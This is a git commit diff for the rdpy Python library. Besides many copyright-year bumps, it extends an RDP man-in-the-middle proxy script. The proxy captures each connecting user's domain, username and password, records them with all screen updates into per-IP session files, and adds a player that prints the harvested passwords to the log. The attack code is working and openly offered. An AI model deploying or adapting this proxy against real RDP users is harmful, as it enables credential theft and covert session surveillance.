update license + rsr reader and writer

This commit is contained in:
speyrefitte
2015-01-09 18:07:06 +01:00
parent 9a4f5f254c
commit 0686b2b677
31 changed files with 292 additions and 152 deletions

View File

@@ -1,6 +1,6 @@
#!/usr/bin/python
#
# Copyright (c) 2014 Sylvain Peyrefitte
# Copyright (c) 2014-2015 Sylvain Peyrefitte
#
# This file is part of rdpy.
#

View File

@@ -1,6 +1,6 @@
#!/usr/bin/python
#
# Copyright (c) 2014 Sylvain Peyrefitte
# Copyright (c) 2014-2015 Sylvain Peyrefitte
#
# This file is part of rdpy.
#
@@ -20,7 +20,8 @@
"""
RDP proxy with Man in the middle capabilities
Save bitmap in file and keylogging
Save RDP events in output file in rsr file format
RSR file format can be read by rdpy-rsrplayer.py
----------------------------
Client RDP -> | ProxyServer | ProxyClient | -> Server RDP
----------------------------
@@ -40,24 +41,23 @@ class ProxyServer(rdp.RDPServerObserver):
"""
@summary: Server side of proxy
"""
def __init__(self, controller, target):
def __init__(self, controller, target, rsrRecorder):
"""
@param controller: {RDPServerController}
@param target: {tuple(ip, port)}
@param rsrRecorder: {rsr.FileRecorder} use to record session
"""
rdp.RDPServerObserver.__init__(self, controller)
self._target = target
self._client = None
self._close = False
self._rsr = rsrRecorder
def onClientReady(self, client):
def setClient(self, client):
"""
@summary: Event throw by client when it's ready
@param client: {ProxyClient}
"""
self._client = client
#need to reevaluate color depth
self._controller.setColorDepth(self._client._controller.getColorDepth())
def onReady(self):
"""
@@ -70,25 +70,21 @@ class ProxyServer(rdp.RDPServerObserver):
if self._client is None:
#try a connection
domain, username, password = self._controller.getCredentials()
self._rsr.recInfo(username, password, domain, self._controller.getHostname())
width, height = self._controller.getScreen()
self._rsr.recResize(width, height)
reactor.connectTCP(self._target[0], int(self._target[1]), ProxyClientFactory(self, width, height,
domain, username, password))
else:
#refresh client
width, height = self._controller.getScreen()
self._client._controller.sendRefreshOrder(0, 0, width, height)
def onClose(self):
"""
@summary: Call when human client close connection
@see: rdp.RDPServerObserver.onClose
"""
self._close = True
if self._client is None:
return
#close proxy client
self._client._controller.close()
def onKeyEventScancode(self, code, isPressed):
@@ -130,7 +126,7 @@ class ProxyServerFactory(rdp.ServerFactory):
"""
@summary: Factory on listening events
"""
def __init__(self, target, privateKeyFilePath = None, certificateFilePath = None):
def __init__(self, target, ouputDir, privateKeyFilePath = None, certificateFilePath = None):
"""
@param target: {tuple(ip, prt)}
@param privateKeyFilePath: {str} file contain server private key (if none -> back to standard RDP security)
@@ -138,7 +134,7 @@ class ProxyServerFactory(rdp.ServerFactory):
"""
rdp.ServerFactory.__init__(self, 16, privateKeyFilePath, certificateFilePath)
self._target = target
self._main = None
self._ouputDir = ouputDir
def buildObserver(self, controller, addr):
"""
@@ -147,7 +143,7 @@ class ProxyServerFactory(rdp.ServerFactory):
@see: rdp.ServerFactory.buildObserver
"""
#first build main session
return ProxyServer(controller, self._target)
return ProxyServer(controller, self._target, rsr.createRecorder(os.path.join(self._ouputDir, "%s_%s.rsr"%(time.strftime('%Y%m%d%H%M%S'), addr.host))))
class ProxyClient(rdp.RDPClientObserver):
"""
@@ -160,8 +156,6 @@ class ProxyClient(rdp.RDPClientObserver):
"""
rdp.RDPClientObserver.__init__(self, controller)
self._server = server
self._connected = False
self._rsr = rsr.createRecorder("/tmp/toto")
def onReady(self):
"""
@@ -169,15 +163,9 @@ class ProxyClient(rdp.RDPClientObserver):
Inform ProxyServer that i'm connected
@see: rdp.RDPClientObserver.onReady
"""
#prevent multiple on ready event
#because each deactive-reactive sequence
#launch an onReady message
if self._connected:
return
else:
self._connected = True
self._server.onClientReady(self)
self._server.setClient(self)
#maybe color depth change
self._server._controller.setColorDepth(self._controller.getColorDepth())
def onClose(self):
"""
@@ -189,28 +177,18 @@ class ProxyClient(rdp.RDPClientObserver):
def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data):
"""
@summary: Event use to inform bitmap update
@param destLeft: xmin position
@param destTop: ymin position
@param destRight: xmax position because RDP can send bitmap with padding
@param destBottom: ymax position because RDP can send bitmap with padding
@param width: width of bitmap
@param height: height of bitmap
@param bitsPerPixel: number of bit per pixel
@param isCompress: use RLE compression
@param data: bitmap data
@param destLeft: {int} xmin position
@param destTop: {int} ymin position
@param destRight: {int} xmax position because RDP can send bitmap with padding
@param destBottom: {int} ymax position because RDP can send bitmap with padding
@param width: {int} width of bitmap
@param height: {int} height of bitmap
@param bitsPerPixel: {int} number of bit per pixel
@param isCompress: {bool} use RLE compression
@param data: {str} bitmap data
@see: rdp.RDPClientObserver.onUpdate
"""
e = rsr.UpdateEvent()
e.destLeft.value = destLeft
e.destTop.value = destTop
e.destRight.value = destRight
e.destBottom.value = destBottom
e.width.value = width
e.height.value = height
e.bpp.value = bitsPerPixel
e.format.value = rsr.UpdateFormat.BMP if isCompress else rsr.UpdateFormat.RAW
e.data.value = data
self._rsr.add(e)
self._server._rsr.recUpdate(destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, rsr.UpdateFormat.BMP if isCompress else rsr.UpdateFormat.RAW, data)
self._server._controller.sendUpdate(destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data)
class ProxyClientFactory(rdp.ClientFactory):
@@ -250,13 +228,13 @@ class ProxyClientFactory(rdp.ClientFactory):
controller.setPassword(self._password)
controller.setSecurityLevel(self._security)
controller.setPerformanceSession()
return ProxyClient(controller, self._server)
return ProxyClient(controller, self._server)
def help():
"""
@summary: Print help in console
"""
print "Usage: rdpy-rdpshare.py [-l listen_port default 3389] [-k private_key_file_path (mandatory for SSL)] [-c certificate_file_path (mandatory for SSL)] [-i admin_ip[:admin_port]] target"
print "Usage: rdpy-rdpmitm.py -o output_directory [-l listen_port default 3389] [-k private_key_file_path (mandatory for SSL)] [-c certificate_file_path (mandatory for SSL)] target"
def parseIpPort(interface, defaultPort = "3389"):
if ':' in interface:
@@ -268,9 +246,10 @@ if __name__ == '__main__':
listen = "3389"
privateKeyFilePath = None
certificateFilePath = None
ouputDirectory = None
try:
opts, args = getopt.getopt(sys.argv[1:], "hl:k:c:")
opts, args = getopt.getopt(sys.argv[1:], "hl:k:c:o:")
except getopt.GetoptError:
help()
for opt, arg in opts:
@@ -283,6 +262,13 @@ if __name__ == '__main__':
privateKeyFilePath = arg
elif opt == "-c":
certificateFilePath = arg
reactor.listenTCP(int(listen), ProxyServerFactory(parseIpPort(args[0]), privateKeyFilePath, certificateFilePath))
elif opt == "-o":
ouputDirectory = arg
if ouputDirectory is None or not os.path.dirname(ouputDirectory):
log.error("%s is an invalid output directory"%ouputDirectory)
help()
sys.exit()
reactor.listenTCP(int(listen), ProxyServerFactory(parseIpPort(args[0]), ouputDirectory, privateKeyFilePath, certificateFilePath))
reactor.run()

View File

@@ -1,6 +1,6 @@
#!/usr/bin/python
#
# Copyright (c) 2014 Sylvain Peyrefitte
# Copyright (c) 2014-2015 Sylvain Peyrefitte
#
# This file is part of rdpy.
#

View File

@@ -1,6 +1,6 @@
#!/usr/bin/python
#
# Copyright (c) 2014 Sylvain Peyrefitte
# Copyright (c) 2014-2015 Sylvain Peyrefitte
#
# This file is part of rdpy.
#
@@ -26,58 +26,70 @@ import sys, os, getopt, socket
from PyQt4 import QtGui, QtCore
from rdpy.core import log, rsr
from rdpy.ui.qt4 import RDPBitmapToQtImage
from rdpy.ui.qt4 import QRemoteDesktop, RDPBitmapToQtImage
log._LOG_LEVEL = log.Level.INFO
class QRsrPlayer(QtGui.QWidget):
def __init__(self):
self._refresh = []
#buffer image
self._buffer = QtGui.QImage(width, height, QtGui.QImage.Format_RGB32)
self._f = rsr.createReader("/tmp/toto")
self._nextEvent = self._f.next()
class RsrPlayerWidget(QRemoteDesktop):
"""
@summary: special rsr player widget
"""
def __init__(self, width, height):
class RsrAdaptor(object):
def sendMouseEvent(self, e, isPressed):
""" Not Handle """
def sendKeyEvent(self, e, isPressed):
""" Not Handle """
def sendWheelEvent(self, e):
""" Not Handle """
def closeEvent(self, e):
""" Not Handle """
QRemoteDesktop.__init__(self, width, height, RsrAdaptor())
def next(self):
#if self._nextEvent.type.value = rsr.EventType.UPDATE:
# self.notifyImage(self._nextEvent.event., y, RDPBitmapToQtImage(width, height, bitsPerPixel, isCompress, data), width, height)
self._nextEvent = self._f.next()
QtCore.QTimer.singleShot(0,)
def drawInfos(self, username):
drawArea = QtGui.QImage(100, 100, QtGui.QImage.Format_RGB32)
#fill with background Color
drawArea.fill(QtCore.Qt.red)
with QtGui.QPainter(drawArea) as qp:
rect = QtCore.QRect(0, 0, 100, 100)
qp.setPen(QtCore.Qt.black)
qp.setFont(QtGui.QFont('arial', 12, QtGui.QFont.Bold))
qp.drawText(rect, QtCore.Qt.AlignCenter, "username %s"%username)
self.notifyImage(0, 0, drawArea, 100, 100)
def notifyImage(self, x, y, qimage, width, height):
"""
@summary: Function call from QAdaptor
@param x: x position of new image
@param y: y position of new image
@param qimage: new QImage
"""
#save in refresh list (order is important)
self._refresh.append((x, y, qimage, width, height))
#force update
self.update()
def paintEvent(self, e):
"""
@summary: Call when Qt renderer engine estimate that is needed
@param e: QEvent
"""
#fill buffer image
with QtGui.QPainter(self._buffer) as qp:
#draw image
for (x, y, image, width, height) in self._refresh:
qp.drawImage(x, y, image, 0, 0, width, height)
#draw in widget
with QtGui.QPainter(self) as qp:
qp.drawImage(0, 0, self._buffer)
self._refresh = []
def help():
print "Usage: rdpy-rsrplayer [options] ip[:port]"
print "Usage: rdpy-rsrplayer [-h] path"
def loop(widget, rsrFile):
"""
@summary: timer function
@param widget: {QRemoteDesktop}
@param rsrFile: {rsr.FileReader}
"""
e = rsrFile.nextEvent()
if e is None:
widget.close()
return
if e.type.value == rsr.EventType.UPDATE:
image = RDPBitmapToQtImage(e.event.width.value, e.event.height.value, e.event.bpp.value, e.event.format.value == rsr.UpdateFormat.BMP, e.event.data.value);
widget.notifyImage(e.event.destLeft.value, e.event.destTop.value, image, e.event.destRight.value - e.event.destLeft.value + 1, e.event.destBottom.value - e.event.destTop.value + 1)
elif e.type.value == rsr.EventType.RESIZE:
widget.resize(e.event.width.value, e.event.height.value)
elif e.type.value == rsr.EventType.INFO:
widget.drawInfos(e.event.username)
log.info("*" * 50)
log.info("username : %s"%e.event.username.value)
log.info("password : %s"%e.event.password.value)
log.info("domain : %s"%e.event.domain.value)
log.info("hostname : %s"%e.event.hostname.value)
log.info("*" * 50)
QtCore.QTimer.singleShot(e.timestamp.value+ 1000,lambda:loop(widget, rsrFile))
if __name__ == '__main__':
#default script argument
try:
opts, args = getopt.getopt(sys.argv[1:], "h")
except getopt.GetoptError:
@@ -90,4 +102,8 @@ if __name__ == '__main__':
filepath = args[0]
#create application
app = QtGui.QApplication(sys.argv)
app.exec_()
widget = RsrPlayerWidget(800, 600)
widget.show()
rsrFile = rsr.createReader(filepath)
loop(widget, rsrFile)
sys.exit(app.exec_())

View File

@@ -1,6 +1,6 @@
#!/usr/bin/python
#
# Copyright (c) 2014 Sylvain Peyrefitte
# Copyright (c) 2014-2015 Sylvain Peyrefitte
#
# This file is part of rdpy.
#

View File

@@ -1,6 +1,6 @@
#!/usr/bin/python
#
# Copyright (c) 2014 Sylvain Peyrefitte
# Copyright (c) 2014-2015 Sylvain Peyrefitte
#
# This file is part of rdpy.
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2014 Sylvain Peyrefitte
# Copyright (c) 2014-2015 Sylvain Peyrefitte
#
# This file is part of rdpy.
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2014 Sylvain Peyrefitte
# Copyright (c) 2014-2015 Sylvain Peyrefitte
#
# This file is part of rdpy.
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2014 Sylvain Peyrefitte
# Copyright (c) 2014-2015 Sylvain Peyrefitte
#
# This file is part of rdpy.
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2014 Sylvain Peyrefitte
# Copyright (c) 2014-2015 Sylvain Peyrefitte
#
# This file is part of rdpy.
#

View File

@@ -27,9 +27,17 @@ from rdpy.core import log, error
import time
class EventType(object):
UPDATE = 0x00000001
"""
@summary: event type
"""
UPDATE = 0x0001
RESIZE = 0x0002
INFO = 0x0003
class UpdateFormat(object):
"""
@summary: format of update bitmap
"""
RAW = 0x01
BMP = 0x02
@@ -41,18 +49,18 @@ class Event(CompositeType):
CompositeType.__init__(self)
self.type = UInt16Le(lambda:event.__class__._TYPE_)
self.timestamp = UInt32Le()
self.length = UInt32Le(lambda:(sizeof(self) - 12))
self.length = UInt32Le(lambda:(sizeof(self) - 10))
def EventFactory():
"""
@summary: Closure for event factory
"""
for c in [UpdateEvent]:
for c in [UpdateEvent, ResizeEvent, InfoEvent]:
if self.type.value == c._TYPE_:
return c(readLen = self.length)
log.debug("unknown event type : %s"%hex(self.type.value))
#read entire packet
return String(readLen = self.length - 4)
return String(readLen = self.length)
if event is None:
event = FactoryType(EventFactory)
@@ -62,6 +70,9 @@ class Event(CompositeType):
self.event = event
class UpdateEvent(CompositeType):
"""
@summary: Update event
"""
_TYPE_ = EventType.UPDATE
def __init__(self, readLen = None):
CompositeType.__init__(self, readLen = readLen)
@@ -76,31 +87,151 @@ class UpdateEvent(CompositeType):
self.length = UInt32Le(lambda:sizeof(self.data))
self.data = String(readLen = self.length)
class FileRecorder(object):
def __init__(self, f):
self._file = f
self._createTime = int(time.time() * 1000)
class InfoEvent(CompositeType):
"""
@summary: Info event
"""
_TYPE_ = EventType.INFO
def __init__(self, readLen = None):
CompositeType.__init__(self, readLen = readLen)
self.lenUsername = UInt16Le(lambda:sizeof(self.username))
self.username = String(readLen = self.lenUsername)
self.lenPassword = UInt16Le(lambda:sizeof(self.password))
self.password = String(readLen = self.lenPassword)
self.lenDomain = UInt16Le(lambda:sizeof(self.domain))
self.domain = String(readLen = self.lenDomain)
self.lenHostname = UInt16Le(lambda:sizeof(self.hostname))
self.hostname = String(readLen = self.lenHostname)
def add(self, event):
class ResizeEvent(CompositeType):
"""
@summary: resize event
"""
_TYPE_ = EventType.RESIZE
def __init__(self, readLen = None):
CompositeType.__init__(self, readLen = readLen)
self.width = UInt16Le()
self.height = UInt16Le()
def timeMs():
"""
@return: {int} time stamp in milliseconds
"""
return int(time.time() * 1000)
class FileRecorder(object):
"""
@summary: RSR File recorder
"""
def __init__(self, f):
"""
@param f: {file} file pointer use to write
"""
self._file = f
#init timer
self._lastEventTimer = timeMs()
def rec(self, event):
"""
@summary: save event in file
@param event: {UpdateEvent}
"""
now = timeMs()
#wrap around event message
e = Event(event)
e.timestamp.value = int(time.time() * 1000) - self._createTime
#timestamp is time since last event
e.timestamp.value = now - self._lastEventTimer
self._lastEventTimer = now
s = Stream()
s.writeType(e)
self._file.write(s.getvalue())
class FileReader(object):
def __init__(self, f):
self._s = Stream(f)
def recUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bpp, upateFormat, data):
"""
@summary: record update event
@param destLeft: {int} xmin position
@param destTop: {int} ymin position
@param destRight: {int} xmax position because RDP can send bitmap with padding
@param destBottom: {int} ymax position because RDP can send bitmap with padding
@param width: {int} width of bitmap
@param height: {int} height of bitmap
@param bpp: {int} number of bit per pixel
@param upateFormat: {UpdateFormat} use RLE compression
@param data: {str} bitmap data
"""
updateEvent = UpdateEvent()
updateEvent.destLeft.value = destLeft
updateEvent.destTop.value = destTop
updateEvent.destRight.value = destRight
updateEvent.destBottom.value = destBottom
updateEvent.width.value = width
updateEvent.height.value = height
updateEvent.bpp.value = bpp
updateEvent.format.value = upateFormat
updateEvent.data.value = data
self.rec(updateEvent)
def next(self):
def recResize(self, width, height):
"""
@summary: record resize event of screen (maybe first event)
@param width: {int} width of screen
@param height: {int} height of screen
"""
resizeEvent = ResizeEvent()
resizeEvent.width.value = width
resizeEvent.height.value = height
self.rec(resizeEvent)
def recInfo(self, username, password, domain = "", hostname = ""):
"""
@summary: Record informations event
@param username: {str} username of session
@param password: {str} password of session
@param domain: {str} domain of session
@param hostname: {str} hostname of session
"""
infoEvent = InfoEvent()
infoEvent.username.value = username
infoEvent.password.value = password
infoEvent.domain.value = domain
infoEvent.hostname.value = hostname
self.rec(infoEvent)
class FileReader(object):
"""
@summary: RSR File reader
"""
def __init__(self, f):
"""
@param f: {file} file pointer use to read
"""
self._s = Stream(f.read())
def nextEvent(self):
"""
@summary: read next event and return it
"""
if self._s.dataLen() == 0:
return None
e = Event()
self._s.readType(e)
return e
def createRecorder(path):
"""
@summary: open file from path and return FileRecorder
@param path: {str} path of output file
@return: {FileRecorder}
"""
return FileRecorder(open(path, "wb"))
def createReader(path):
"""
@summary: open file from path and return FileReader
@param path: {str} path of input file
@return: {FileReader}
"""
return FileReader(open(path, "rb"))

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2014 Sylvain Peyrefitte
# Copyright (c) 2014-2015 Sylvain Peyrefitte
#
# This file is part of rdpy.
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2014 Sylvain Peyrefitte
# Copyright (c) 2014-2015 Sylvain Peyrefitte
#
# This file is part of rdpy.
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2014 Sylvain Peyrefitte
# Copyright (c) 2014-2015 Sylvain Peyrefitte
#
# This file is part of rdpy.
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2014 Sylvain Peyrefitte
# Copyright (c) 2014-2015 Sylvain Peyrefitte
#
# This file is part of rdpy.
#
@@ -331,6 +331,8 @@ class LicenseManager(object):
#decrypt server challenge
#it should be TEST word in unicode format
serverChallenge = rc4.crypt(rc4.RC4Key(self._licenseKey), serverEncryptedChallenge)
if serverChallenge != "T\x00E\x00S\x00T\x00\x00\x00":
raise InvalidExpectedDataException("bad license server challenge")
#generate hwid
s = Stream()

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2014 Sylvain Peyrefitte
# Copyright (c) 2014-2015 Sylvain Peyrefitte
#
# This file is part of rdpy.
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2014 Sylvain Peyrefitte
# Copyright (c) 2014-2015 Sylvain Peyrefitte
#
# This file is part of rdpy.
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2014 Sylvain Peyrefitte
# Copyright (c) 2014-2015 Sylvain Peyrefitte
#
# This file is part of rdpy.
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2014 Sylvain Peyrefitte
# Copyright (c) 2014-2015 Sylvain Peyrefitte
#
# This file is part of rdpy.
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2014 Sylvain Peyrefitte
# Copyright (c) 2014-2015 Sylvain Peyrefitte
#
# This file is part of rdpy.
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2014 Sylvain Peyrefitte
# Copyright (c) 2014-2015 Sylvain Peyrefitte
#
# This file is part of rdpy.
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2014 Sylvain Peyrefitte
# Copyright (c) 2014-2015 Sylvain Peyrefitte
#
# This file is part of rdpy.
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2014 Sylvain Peyrefitte
# Copyright (c) 2014-2015 Sylvain Peyrefitte
#
# This file is part of rdpy.
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2014 Sylvain Peyrefitte
# Copyright (c) 2014-2015 Sylvain Peyrefitte
#
# This file is part of rdpy.
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2014 Sylvain Peyrefitte
# Copyright (c) 2014-2015 Sylvain Peyrefitte
#
# This file is part of rdpy.
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2014 Sylvain Peyrefitte
# Copyright (c) 2014-2015 Sylvain Peyrefitte
#
# This file is part of rdpy.
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2014 Sylvain Peyrefitte
# Copyright (c) 2014-2015 Sylvain Peyrefitte
#
# This file is part of rdpy.
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2014 Sylvain Peyrefitte
# Copyright (c) 2014-2015 Sylvain Peyrefitte
#
# This file is part of rdpy.
#

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2014 Sylvain Peyrefitte
# Copyright (c) 2014-2015 Sylvain Peyrefitte
#
# This file is part of rdpy.
#
@@ -60,12 +60,6 @@ class QAdaptor(object):
"""
raise CallPureVirtualFuntion("%s:%s defined by interface %s"%(self.__class__, "sendWheelEvent", "QAdaptor"))
def getWidget(self):
"""
@return: widget use for render
"""
raise CallPureVirtualFuntion("%s:%s defined by interface %s"%(self.__class__, "getWidget", "QAdaptor"))
def closeEvent(self, e):
"""
@summary: Call when you want to close connection
@@ -94,7 +88,7 @@ class RFBClientQt(RFBClientObserver, QAdaptor):
@param height: height of widget
"""
RFBClientObserver.__init__(self, controller)
self._widget = QRemoteDesktop(self, 1024, 800)
self._widget = QRemoteDesktop(1024, 800, self)
def getWidget(self):
"""
@@ -244,7 +238,7 @@ class RDPClientQt(RDPClientObserver, QAdaptor):
@param height: height of widget
"""
RDPClientObserver.__init__(self, controller)
self._widget = QRemoteDesktop(self, width, height)
self._widget = QRemoteDesktop(width, height, self)
#set widget screen to RDP stack
controller.setScreen(width, height)
@@ -333,9 +327,11 @@ class QRemoteDesktop(QtGui.QWidget):
"""
@summary: Qt display widget
"""
def __init__(self, adaptor, width, height):
def __init__(self, width, height, adaptor):
"""
@param adaptor: QAdaptor
@param adaptor: {QAdaptor}
@param width: {int} width of widget
@param height: {int} height of widget
"""
super(QRemoteDesktop, self).__init__()
#adaptor use to send
@@ -365,6 +361,15 @@ class QRemoteDesktop(QtGui.QWidget):
#force update
self.update()
def resize(self, width, height):
"""
@summary: override resize function
@param width: {int} width of widget
@param height: {int} height of widget
"""
self._buffer = QtGui.QImage(width, height, QtGui.QImage.Format_RGB32)
QtGui.QWidget.resize(self, width, height)
def paintEvent(self, e):
"""
@summary: Call when Qt renderer engine estimate that is needed

View File

@@ -1,5 +1,5 @@
#
# Copyright (c) 2014 Sylvain Peyrefitte
# Copyright (c) 2014-2015 Sylvain Peyrefitte
#
# This file is part of rdpy.
#

View File

@@ -26,7 +26,7 @@ setup(name='rdpy',
ext_modules=[Extension('rle', ['ext/rle.c'])],
scripts = [
'bin/rdpy-rdpclient.py',
'bin/rdpy-rdpshare.py',
'bin/rdpy-rdpy-rsrplayer.py',
'bin/rdpy-rdpmitm.py',
'bin/rdpy-rdpscreenshot.py',
'bin/rdpy-vncclient.py',